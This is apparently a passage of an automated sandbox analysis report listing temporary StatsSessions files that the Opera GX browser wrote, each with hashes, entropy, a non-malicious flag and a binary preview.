                                                                                                                                                                                                              Preview:........X+x66T3Npk+CrahIhcU3iE6TMW2ODtraDNJiVwlkcpLE=......./..a.}.).......7....|...g...q../'/...H. ...g.I....{Y...}.598\...:v4........m..j......Y.qh.B.5...f.X..J....$...SD.;3w.^.OPx..S;.M..:.).6...3ZX..(....l}rl...b.};o./...g.|..;.c..wg...*....>.&`.a<.*..%_.V3....<....1...6...........`;{]..........B?;.(....N.......=..+.z.P.C.K-`..=.....[..=9...x<....YwOE....a.....k...9.7.,.]'tE.....4.7.u.(... ..2%.n..u#..-om..!....N..m#8.i.p.%g..n...d8e..*f........F.........X..b..l.....g..F.@Co5..._.{...k:x...ey.r.N!,......Z...|...,j.<y....8.8..6.e.7b.1!.=F0.=.P.Im....a.......\)}.#ws..+..7Z.)..R..TK.......,.f.wS.w_...4?....T.x...}..k..-...... .eW...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\c59add29-fe7f-4dab-993b-66391d3af31d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1485
                                                                                                                                                                                                              Entropy (8bit):7.874026696696135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D9559B11550841DEAEE37D6C3D15E2BC
                                                                                                                                                                                                              SHA1:63F9AD2C9ADA5E1C5C34D488A1466F976DA79F18
                                                                                                                                                                                                              SHA-256:EFF34FCCA95F9A5AADF002C16A9A90F62BC87D5D025D3363479ACF78DD62D338
                                                                                                                                                                                                              SHA-512:9EB1FA9A5FF6706B549D98E5BC8DB051654EBFE7A56F3B0C4E8C3A9C22F70DE53BAFF563F507486DD742A18E8BBFE10B1BD56B9F938DDF5357CD13B11A3FDDDC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X5+pqtcWHhoxsRPxKUW6GeyGpkCh2Alp2qH5T5YZ6TmU=......O.V|..I|.T..8....*. ..n.,?.R/.p[...HJk[u...0./#..7L.6../../..OR...H...m.e.hw4P%.R.n`.... (o...Y...gPN......n...N.e..0. .Tr..\J.j..OXo.^....t..5%DG.!.............6U..I9I.}.u%)5r..L.8..5......nZ....R.&..7e}..Tv....7.H=|.t....(;2x.....o~...}......9Yn3".....!Z.G.....|5..n...Ib]g.+\fM].u...Vk@!_.I..n.iF......;.a..Q.M..g.....].%...C\{[Z..F.%"t..'.U...$R....2EE.j....h..Cw.iXn.1VI.-C.Z...z.ub.V2...v..Z....y.6.;.....g-&........]v.d.)3N...*.R...4..`..J...M..!...V....U^nr.?..o.|@/..%D:...I.;.....Dq...mB..3...._dx`4...i.i...M.A8.sY...=...Sz..I..E...}$.4..`.)e...Q..O(..^..f...}.j!.W.I....m...3J......t$.^.bi...2LH...r\`SA..E.h.....g........<l].....M.....\.....0..h`....9.....q..C..+.c.5.N..?....%).....v...[...i........D....V...T...1....<F.x....%..HiYc..P.j.t...n?q........4@.Mf.......j"...n..u[... ..v...R3)........[..m/.V.)@.b..)(..T....3We^..pB.....S.09.5e..<.....9.L..O...M...*.Sy.\5..g..o.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\c743f801-087e-4e2a-a1b5-e2fa205c0ae4.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.975505171598676
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7354A4496C56F5EA77E64BD3113C8022
                                                                                                                                                                                                              SHA1:EE7B3761F7F0E77F890DE0F1AB909C2A2A2C1969
                                                                                                                                                                                                              SHA-256:B3CE00CDF39D8CA291A18F529DCECA7D3CD78F1EC0D25FED85C87E9FCC1E7336
                                                                                                                                                                                                              SHA-512:AEA694F21BCDF93DECA0D0BEA0A36B2DEB4F0BBFA7FEA4E1C7026585734B4D5C37EE86212E8BCA25B25AACC96A6284E223EDDCF1CF93B13A9C9639F651F6D40B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X82V8wQCEh7Y8kYgmTmYPUnd8NGaR26F9DPzE2IeIFV8=.......N...j.NR..U...ME..... .....U.4D.!..l....0.K<]C...1.P."..im]...e..o.>q..&.T.... .a#a...A`v...f....l..Z.."#..EwzV..V.;...XE..P... ...?+..@].........Z,&....P-;F....N.o..]b.EC.V....Y.]$.......%[ie.Q..g>..d#......5u.S.|..a........zF...6..B..U.p.."....p>t.`.LD~.#=.....Q...........=5.0...T.......^mB...l...4.~.:r.q...AO...Ydh....q#.b....^k.s.U.Fwq..!9.f.._.hU~._1B..l..'...x....w.4%27f..?3Y).."xu..!. .e.>m.t>..z.n)V...9;.D.{..#.@.ew.m....s....2..u.rx..m..U..T..V.O.J0T..m...T...>\.>.V....`..zT1.{...,f.o".N.T....tF.K.]....z.H..ea.R.2.../.=a.........,.c...................*=.Q`U..Yf....#...Y..}MD....B..t6=FM..1.H..1.X6..>Y..Td |....r....i.A.{.~.y~.#..PB.........Q...R5k..~.>...H...CV....*.:?..u.U /.:\...0..+V..6%......4.....du.E.2>....7(_.z............j...}..(.N... p...3.A...8.......,..K..s(..F^....UaI..._.0UD....x,+...[.b.?...R......sT.R..$.XJ...".L..I. .e%}oo...Z*.&..L.P...."..Fz.......#'e.....P9..h

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\c7e19943-67c0-4c43-aac8-990d4a43e8ff.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2749
                                                                                                                                                                                                              Entropy (8bit):7.926251791547953
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7354BE24D74DDC1DAA2BA6111D437A8C
                                                                                                                                                                                                              SHA1:148E757D066072A8036F3BFE3A95F1FCC1E54D8C
                                                                                                                                                                                                              SHA-256:DF82819302565385FF43217B88ED34AB59A5B2530BC7E9BBF489A4921E6D66BC
                                                                                                                                                                                                              SHA-512:896306E0A42D85C0A806C6DBE3DB30C08C294E67A1067E64DF279C7C417C98005106521F5B9896408ADEF0EF39E7C607A812A950FBEA81836B4029E8443ADABE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xtcku39lOtYBCFuAaWUDs1x3DtfZ2BPphDYXTW2K7qGA=.....*8...:..k....fJ.z...z..?d.;.-....?.#....t...o...-.6....&...E....4VFeA......4.L&..e..a[.M...=-t.vO..{.|QZ.....9...|bv.#..[....e.T.o..C.HlKp|.[y.e.G.....D.N#.v.J53. .b...u p'4)...U.......Vt..ITN}..B..3............?.U....v...z..%..0.fy...\...X....?....m=u$l..h.........$..DV(N_...5/h.m.#bQ)...R.HOXE.F'..-.d..;.9@.U.^...!...DV...5.^).|1..*...w....E...?O...........+.....T...".iPS.%....N..FdX;.6%4.#.K. F......s@G.V..V.X..Y.z..+..U.i........6I.>.(d0_D...H...P.f..E.2zo..o.....r.<P.A.-..Sx|h|.!..{...h.J({..[gby)...v.:..._..(".;......j....j....4.....D..s#...P...8........ta......E1.#..G..s..f....[D....Jq...b'.H.g.........F..-.-........:p.....iM9C...@3..c..@...k.....%....u^...u...^...l<.&JZq8... k....q. X.NC.s..yi..N......'.r!.O...V$g.~.Fauv.>P....vU..V.'*......08............Mh.E........N w./T'..c.+...,....y9....1........Qd6g.{.P...|.a.=....Z-..w.x'...A.O..X.n)~....qpM..p.o....hA...q...B...|E...?!C.r.w+.)..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\caf9b221-9b83-4f78-99d0-e65435009c1c.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9758
                                                                                                                                                                                                              Entropy (8bit):7.981284190175122
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0C0ED5129F2C51FCA2F8E0D5D0E1C42C
                                                                                                                                                                                                              SHA1:CABD2DD2EC7FEA9A8F70EF57439A94FDD205DF7D
                                                                                                                                                                                                              SHA-256:1FFAB796B14D6F92B2DF1D6681288A071341499F42AB6EC37FD4DA4E3E935EDD
                                                                                                                                                                                                              SHA-512:A2A61402ACE01A804C096DD4BED7F0B0E77696B9C8761135C3EE09E1DAEC802D62A5B76C91EE590AEFA09B2ACCB2D71BADA67C832569B6BE9E292CD6F937DC53
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XE0kfD55Kj6vvXta149KHJLrpgs8vfm6Z7orYpGhIrDU=..........]....H.e.[.}..?.`"Y$~.1r..z....V!.B...==.o496.c' .....X).m.!..dM.v....Ca.. .....(......D.Ke...8K.A.Y..k;..l.|..2u..^;..`o..MZ~=.".}...A...sE...N..D.{....il....<....k.P.......UF..*{..:g.2...Q..U`.5.[.,A1.k.W.T..>....M...{..R..^L..!.F.n4.._...uP..M..w.....n....=.8jn..%X....JM..pI6+}..J*...0..z...Z."5.'n...]\.u.3f.......#@...........J...6.M..fZ%B....A!b-.....3V...v....g.T.....R(v.....)cS_.......-..[..........Ap.Y...NU.Q$....=l.E".....6.GL.p.1.~!|%168.i...+R2.B.~\...fZ...^..t.f.....=.B.ZX.....g.Un.i..>tmPl..|Cv...'..<.........Y.}P.Nm~.........u.....]......>}%..I(..... .n.D. z....;...-.>.E...........K....n.ioF..B...B.{.......n....nO.m(Wx.n.71C.r.ft!y.-..e.M........'../..@...;...^..&.*.v....v...v..x}..,...3e.Fn.sX...h.......:......t... .*<3T."S."V.WQ..b...6x{/G..p.7...."w..E.Y.z&8.a......q.@_oK....!.w.>CH......7WJm.R.~t..6B...&0o...Kb.....e..[J.$.f*.8wH..H1q'.7<3..e..W.y|.f%`g..j..m........./l.$.h

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\ce902733-dc6d-4408-8133-c4c287b0b457.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.981862875100636
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:83129B359754A43175F95EB235BCAD1D
                                                                                                                                                                                                              SHA1:5DC3D6BB3D2CB3BFAE6F322FB8B85914530724EB
                                                                                                                                                                                                              SHA-256:2C76A71B9410550F55E5C844E1A237400D00E858E2A534931ECEA55288435C64
                                                                                                                                                                                                              SHA-512:10284683F58B9F009D52DF7E99FD89C49184E8F3979B9E05A1C2DF4AD7B395476F65CC5A0FBAE72B2BF7A9B9D0F1AC07EA9E94F187CD721CD50B4459646D5AE0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XUxb52EbTWqq0znAlHIYN53zzJdpuBaIToAxMsn6KCgQ=.............9.}29.:....fz.J..5?N...B).o.>,A..N_B!y.. z...I<....~.r.....a..6....ij.P.".........8.......7..N".a.3..EDb...b%......<p.H.dg....ub...sI.W..<....... .6-.ed3...%....^W...|....A.i.s3..M.........>Eoe.',..#.....Mm.......ac.0...du..+..........d.YS.no....A;..FO.S..Dk.P!o....]v*"z......H...q?...5.,...5.l...;y......_....E.$c.a.y%4..u`@..Y.{u.j$.st.).*..7l..Zm/0AD6}..j../eS.i..X.Z.E.C.4....t..h,........^m.R:&.!!..bS%.`.Q.....H...y..G.....vSq.........lt>z....ac..=.M.F.Z$\.PS..b{..d..a_.z4.1.C.;.....P.:&...&.j.,>jB^...Q.8.\.F,L$#.^fr/v......5..U..`..}......#..~.....b.[r.]...W.}..I..T..aC8 .JZ..r....F...(.'...W{..).....d:..=...[._>.JhD..@../%.(.?.....?.}.$.o.%......Q..W[/A..6........ch1......R..t.B..jQ"x....].......@..EUa.A..cU......... ......z......Z.{....W.."<Yz......|...T.{Q}..u.Ccy..W....J....S.T.@,Q'.}.p.T.9.UV...`...Q!u.;J.....R.S........q-..Y+.n....t.....e.aq.O...e...+

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\d040fdaf-6d67-48d2-acfb-1340fae18ab0.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.980425938298723
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:8FB6DCC8E18A9C2C3C4FBA10F8007431
                                                                                                                                                                                                              SHA1:29557D91373D4BA9A6CDCEA3D96A79F6008669AA
                                                                                                                                                                                                              SHA-256:643198ECAA1E17F4D1EF8538FA85D5A927D630908E86E5EF2758D08F879F038E
                                                                                                                                                                                                              SHA-512:0906E6F62F9977019B333166A0C0631C5C707314532B207FE3999839BF41559F8A43D755ABBDBE863DAB9099E8460F6720964295DE8B26CC668EDE105250A2A1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XM99+T9GmOP8D6BB9Dx0tUiGDaLH8fDB502WJckO6x9E=.......tr..4Q...x..f.I.T.[....QL...0..|..^..\)....)Mm.[.0.g<.....1S....x.u.%9...{...aH.z))......l.&...tC.~..A.m..5.D.....h.'{>.7C.N...-...I..c.F......Vd.k.0T......Jm..m...lu.....i...(.8..J....=fL....`..Rf.peN.<..4I..=.z............Hd..{C=Z.-.......|.).....8.Q.. ..,...._..L.]......$..Qq.:sa3......(....U.W.$..F....0.J...E.v.b.....o(...c....E.0...V..t.6~#w.,Ug.g..]Do..=.$"...OWj.e&...T/..i.'...y....]0./.1..H...i_^...J..e.......,$u.$ ,<Y.h;c......`.r.&...9.~KM....HqQ..f.....WN...T...uj..2"d.aJ.)..%....y...J?(.S..d...L%.\.h.d.A..D^....b.$....-...^Ls..NM.m..B...G.L!..S..)#.J....H.ShP...XU9z..k.84*.Gb.r...r.wN$...>'g..N.....c..zA.u9N.\`...}.{...~y0F<Zm^>.6...0/..m...].Y..........7y...~...Q....l.;.)..5:.z..U.6..........Yd,....g..~'.[.l.......[..* d;...o..s...Y......).Y...Cht...0Z.r./.....<2V~...e.f.p]..p?IiS.....6.K..=.......C..%#.T?.....];^...w.n..DG.ORH.;<:..t3..1E.^X...,(;..7=2GSP.si.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\d1e3e971-6216-433d-9bf1-1babc43ab1d6.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1437
                                                                                                                                                                                                              Entropy (8bit):7.8553075580556895
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:857FF8AF4869BE11BA8F552E45D355E6
                                                                                                                                                                                                              SHA1:BDA09262A6323D20E068B4AF48FA3B9C96170185
                                                                                                                                                                                                              SHA-256:D5DFE3E56B8E6F47DEBE8E808BC87D3822BBD1816AF91091B683E101EF5F6B84
                                                                                                                                                                                                              SHA-512:710D7E415D05F3B89AF99D613F20FE82C12B0402973755A69D9D14E9EF9CB46260DAA4DA84D39C9FCBB2812DC517EDE6B120F0B79B2F28BF9D8BC2CC68B00899
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XYQ08VMexYrkUZjIy7NPsAyJjwX2t4Vvq5/b2OyTJTM0=...........yHt..5........Ts..Z8...._..}..-+....a(...y.T.V ..mZ....!..Z%.<.........G.....()...$.a.u2....~..rq......>...B....-8K..Y.1].m0..Ps..l..E...SS.;......>...........t.`.}.n`...A.....%..A..;....#C..~.r...l.X..Nm...zc......_.!..B..yI..W..x..:..w.{......Z...'.n.....JhlW.S.(G.^..k2.Q.@.*..f...{.C...`....:....v..?z..~.n.....~3p.(.....x..)......]..... ....-...W^..|N..L.!.N.A..z3.|..;]!@.x>...Z.....M~.]...s..r...-8...D.^..vt..|g.....#.NRqxY...../d.5<.../.O.......l...mQYW8.........vVF...o5.N........s...N.._~..7..&.-k.......Ng.,.5$..T.,.x.l...uJ.'....q....J...s%...g4...0.k|..=.............L..t.U.P.q.4(;....p..F....M...w|..[..8$Ze......ps....{..O..F9M.C|)..7/.Z...3.G.G..3.vT.SA...#qs..#.... ..W_h.yb.j...D.h......kPP.........%2.......w..K..!.........zm.(..3*f0.U....j......C.3..6.P7...'.@V[...r...B..~.cX.t...G..G!`s..=......Z.E ..m.....\[.G.hJ.M|o.R..^...b.A..pn.......O.......|..C].S....=.....ww.f.bD!

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\d34f23f4-5077-427a-9337-4cfdc213199a.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.979544225828131
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:86A748955C1B6F8B67DFE2A690AECDD9
                                                                                                                                                                                                              SHA1:F99060876FCA1FDC82B02A7097F24B2252E09E4C
                                                                                                                                                                                                              SHA-256:8D3770105DCB5DBFB56F0BEAAAB530AD0E47AE83DE790C2AD24CA900F4E86DD5
                                                                                                                                                                                                              SHA-512:B7A5E688CC47C180DD855B0BB4EF9B4E819EBB50DDA2AB14FAE32154B013C0EDC77E5C61B42F5DFEBB863C7CF28D913B00BBEF2DC4DA984BA0372CDC1DC63055
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X6ZIOrGO1Trio3z0/DGTAh40vmSw/pbDE0+Du9lpG42M=.......i.qe.k.q<mdX..'.........o>....|.R.H~....$............ ../..q..........<5.L[..9....D.f)W.....i..g...;..HA...%.gO...O.n..O.....9.9...v..B..(8.W...ge.4.%.....a....@p.3..V....3.<..{f..w.6.V...!....1..[..P..{.d..hl....ar..%..+. .&..B....&..."^B..}()..[.'m...:..&.....B.:..'.U.QB..s..wYw.[:Mj@.A.{A...Nk......Nu=s..;.6i.....g*L.zQ.$}&.jS'v=..R...-N...s.H.s....i.%.h...%.....jG.."..~.D..E.HC.>..a...Q.w..].H."..V.........[.4.q.i=`d.[.#......+.w6.<N.k.M...I.5..x.:...q.V...!C.|.]..g@........D.I@..t.q..{......+.5..!..T.......4.>...J...4>..RL..iH..EF[...;i<...l.5.4.........n.*+77.R..cvqjZ.>.gI..E..C../...M..5....m.j.:0.]N.:"..rg.sUMN'....v......H....5*.6....B......:..y].p..V~....uT=|.]Y..w...@..*..$..du$..AT.D....IT...d.,."S.$.X.3...mD.S.^n...6........P.V.IV.gZ...%6.PR..[.,:.a.F.#.f^.T.,.9.5*..!d.i..u.td.W...$..Y..c..i]..T.z...(....]...`..s..y...Dx0@.J.?.a.m....-f.._....s....)..=.......6..1$c].&.....qTs...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\d355dcf6-281e-4769-9e33-d200ce8fd460.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7117
                                                                                                                                                                                                              Entropy (8bit):7.9728481677633605
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:91F9299028FA6E4A9FA5306FA43D0014
                                                                                                                                                                                                              SHA1:531BDA7319EC18A584B4398E605E27EB2981DFF5
                                                                                                                                                                                                              SHA-256:ABD45D6ECACB7B6C3D724A9A06D6956ED886AD7B837EFA93A0D49BF1766C5278
                                                                                                                                                                                                              SHA-512:D25EB92A76813073AF8DA0EA5241D65F547E5BAB7F17CF1933C8A07788C5289758BAEC0EF16EB20126441DD662E4B193E7E794F9CC382C441E5909499FAA9F87
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XuGHT8OTwJR7ZzI/nnckUAbzEkShnpjD/0aljBh/K7ic=.....nL....#....3u.&...p......hl.z.|59.O2.."..k.1W..du.......a.<.?U...5.[.!..@.0...^AF*.75.D....q}.H..V.<:].}.._....f...2s..'...k..`.......8...E?<P.....K5... .5g.3..2.....hX..........mq....V.HR.%..<..M.d....%....s...7.....O.9.!nzp..Va.....YM..6.wc..y.Z.......Lu...MRZ>..1D...T..WD...t0...5..u.x.L...#*8.r'?T.a....5..EpS."...[..3.....1c..aO1y.&..........b.4.Z..U..m...2'Du......Q.%......}.........g....h..Ms.\...y.k.."...".....vp..ev.q..y...F.Z.m2.M.......+.............v....".T.{.._.TC.E :..>G.@....C3....T'...K...Y%}Wq.<k.U.A.LV...C.R.vx.n..R..O.....1...*<>..]w.a......H........v....$..*...l....RN..G7._/.a....(*...M.L.[..5>|x|Cg..g.7..+.5..swr.^p....i.:3.{...z.]{....X.....(.d..A.2.l.VN]+....>...8.....\@WG.d.....J..LS0..qn..Y......61.....>7tG=...g....;..w.....7..>.GR.....VT..!eL#..Y.f...h[q.]W...?q.2..?...$....n.....T...Qb..U4......D~Y.]....I..:..\:<..S|T...*.?v.R&*.....S..e.#..hm.b........n.PA

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\d484de31-9443-4651-88f4-f4adfa1af994.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7629
                                                                                                                                                                                                              Entropy (8bit):7.977225417326888
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0416B2AC9A623A761534AB879502AAA5
                                                                                                                                                                                                              SHA1:6C0C9EB36D478619582F29470264846E190200F6
                                                                                                                                                                                                              SHA-256:C7F33519B1543EFDDC19E020DB5ABDFB789A3D337B1686BB655DC7A59D6EAF26
                                                                                                                                                                                                              SHA-512:1BBC740DD95EC622070F008DE428C6DE132B8964098953D7325AA0700F0629C15B80892B5297B2348453536F468D47C9617FD06E883731BC9985EA05DAA0E663
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XDsbWa7Ci/1A/qpNPfTeHwyxZSL4fzLDNc31tUALX5IY=.....v..\R%..k....=SU...H.V&EU...@.#.L}..&.l...H...jtr."...^.{U.....Z.e.Y.6.i ..%n.~+.M.*Y..Y].P5QG..4+.Vy}...E.H[......"...."../...O..b...Bl...Ib...$<!..~........\F6qT...h-...y..C...l.....!..>.;v./..8.>zK.w...6.Fk%i./p.`2..(Kv=...z...wA.U.nMZ.....y>....a.....x.vj....5.z..%`b.y.S;.7...$...D.YR.~.3...g.Hi......X..`....lfI.b.s.n....D....=.....K....:.{]......K6..6..Q.......Gd~...\.-....T}L.].f.o....Gr=...r.G.....|.~....J..1..X...KM 7P._[}...U,d...#...d.U.....O}.<6(.....g......n...]{.~tX...h.....W...Ar..;..BA....F4.+.x..3...."B..2f.cj.4Wc.P#Z.;..!..|.E.w.I....b..>...P.J...G..i6..U.|.....h..r.....-#..!B.........p.......pz.2,..X.$Y.....". ...:g..".?1...!.C6M..4.T.jx=..f...\.a..H.>.......v..No~.V<MN...Y!....Q.v)........d.C...U.....]..Te.X=...{....}"[......c.p.....g2...Q=.G..>.....7...dhLdv.F)...r...q.Y`..34.J...-+.)...y....@-F...U_..v...G.'.r.(..'.d.`....TW..,..Vhh>:...z........g...x8\....._....;../

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\d8d65c1d-2d8a-4116-9a47-33ecb91142bc.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):797
                                                                                                                                                                                                              Entropy (8bit):7.724321117355032
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:8E83CF347107F49D135AADFE3B0F5BE6
                                                                                                                                                                                                              SHA1:3CEA6D0665B44595C26C6A11B84EB97EF0A707D8
                                                                                                                                                                                                              SHA-256:70B3B90F6DD741112AEEA5CEA4FB334ED2BE817BD4FE13066EA1C8B0B50406FD
                                                                                                                                                                                                              SHA-512:EFD78315FC98FE5475B3BE28F859A050BA0E8B99C763CD6338FA5191159601980D77BA7AF5FA51B5466287F8BF526AACD95A341A81624BE57D4778AA88547E7C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XrBrmPZ8lD3vuB8U6pi9AqTFt7C6qvzGqCuAGIYKA/9I=.......s...o..k..w)...............|-..,8.e3..C.Q#...._{:~.F.m......6..%.;..n..L..,..b...h...D........sq..s...p:..)....i.Q.Y....a.T....g........X,......@.....9.Z...W...$..O..*.q.../v.5Y.2.@.&.i.~...x2......1...8<y^WF. ...N "/#...m}..S..v.p3.Hi8...Gqka`.F..S(.....wT..K>[J..]..!....y!.q... ..,.8}av..'.Aj..........Gc........T.s.Kr...c......q.4O....=...g.3.)......m..Y.]..2k.....Yx......7...Yg....n^...j;...K.3...r...O..s.s....ga..x.S.......q...[..'r.J.......uS'...p...].{q..A$....>J94.HO..O...........0c.KW6....o:.J..a....E.3..`...........Tx.dLH.9.5.T?y.}..i.)...F......z>j~.z....sx....(.yP..cf....\.(...b.w,.......2.&..)...aO...U..n...2u.i.$.?1<....]d...6S..y..ol.......R.clL...$5......"...;...9j.|.Qr..W.....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\d8d67101-6804-44da-b8b3-f35bf67db992.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.984608159383691
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0ABFD07F44FC488A498BD536E0289195
                                                                                                                                                                                                              SHA1:E83A0542F562E2844D82409E7019760CAB47335E
                                                                                                                                                                                                              SHA-256:B32F8B66FACCEFDFEA1F7D1D31E893B410122D162CD982FB81273816265E3F67
                                                                                                                                                                                                              SHA-512:5E5E8C1280761408BE320D23E7DCAE18E1BC2229E3DDD03BF70A8A03A64FBE5C597CAD9C703EFFC63CFC369820F68C421246313ABE672C7139E84CAFB508DBFE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
